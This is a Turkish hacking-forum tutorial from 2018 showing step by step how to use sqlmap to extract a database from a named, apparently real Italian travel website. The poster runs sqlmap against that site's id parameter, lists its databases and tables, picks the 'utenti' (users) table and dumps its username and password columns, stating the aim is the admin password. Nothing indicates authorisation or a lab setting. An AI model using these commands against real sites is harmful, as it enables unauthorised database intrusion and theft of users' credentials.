Hoşgeldin Misafir

Sqlmap Ile Veri Çekme

By_White

18 Haz 2018
95 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif]Merhabalar, 

Sqlmap ile veri çekmeyi göstereceğim bilmeyenlerimiz için faydalı olabilir. [img=18x18]https://forum.ayyildiz.org/styles/default/xenforo/clear.png[/img]
--

[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif]Sqlmap ve phyton' u elinde bulunmayanlar ; --
[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif]
http://sqlmap.org/ 

SQLmap yukarıda ki linkten kendi sitesinden indirebilirsiniz.

https://www.python.org/downloads/

Phyton' u da aynı şekilde kendi sitesinden indirebilirsiniz.

Kurulumu ve açılışı herkesin yapabildiğinin düşüncesindeyim. Bilmeyenler için video çekebilirim.

Şimdi konumuza geçebiliriz [img=18x18]https://forum.ayyildiz.org/styles/default/xenforo/clear.png[/img] ;


örnek temsilidir ; 
--

[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif][font='Trebuchet MS', Verdana, Geneva, Arial, Helvetica, sans-serif]Kod:--
[font=Consolas, 'Courier New', Courier, monospace]http://www.telemacoviaggi.it/dettaglio.php?id=117----

[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif]Öncelikle databaseye girelim. bunun için --dbs komutunu vermeliyiz ;--

[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif][font='Trebuchet MS', Verdana, Geneva, Arial, Helvetica, sans-serif]Kod:--
[font=Consolas, 'Courier New', Courier, monospace]sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 --dbs----

[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif]şeklinde yazıyorum. Buradaki "-u" yazarak hedef sitemizi belirledik ve --dbs diyerek databaseye gitmeye karar verdik.--
[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif]
gWZ8qO.png
 

information_schema ile işimiz yok. o her sitede var dostlar biz pwei0005 ile ilgilenelim.

şimdi --dbs yerine "-D" yazıp "pwei0005" yazıp sonuna "--tables" ekleyelim. Böylelikle tabloları göreceğiz.. şu şekilde

--

[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif][font='Trebuchet MS', Verdana, Geneva, Arial, Helvetica, sans-serif]Kod:--
[font=Consolas, 'Courier New', Courier, monospace]sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 -D pwei0005 --tables----

RPokP7.png
[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif] --

[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif]Tablolarımız bu şekilde. Dostlar utenti italyancada kullanıcı demek. bu yüzden oraya girelim. Admin pass için.
şimdi aynen şu şekilde yazmak lazım ;--


[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif][font='Trebuchet MS', Verdana, Geneva, Arial, Helvetica, sans-serif]Kod:--
[font=Consolas, 'Courier New', Courier, monospace]sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 -D pwei0005 -T utenti --columns----

[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif]böylelikle utenti içerisindeki kolonları göreceğiz ;--
[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif]
JlnAO5.png
 
--

[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif][font='Trebuchet MS', Verdana, Geneva, Arial, Helvetica, sans-serif]Kod:--
[font=Consolas, 'Courier New', Courier, monospace]sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 -D pwei0005 -T utenti -C Psr, Usr --dump----

[font='Droid Sans', 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif]--dump diyerek son işlemi de yapmış oldum. veriler karşınıza gelecektir. Yani sıralama şu şekilde;

--dbs diyerek databaseye,
--tables diyerek tabloları,
--columns ile kolonları,
--dump diyerek istediğin veriyi görebilirsiniz...--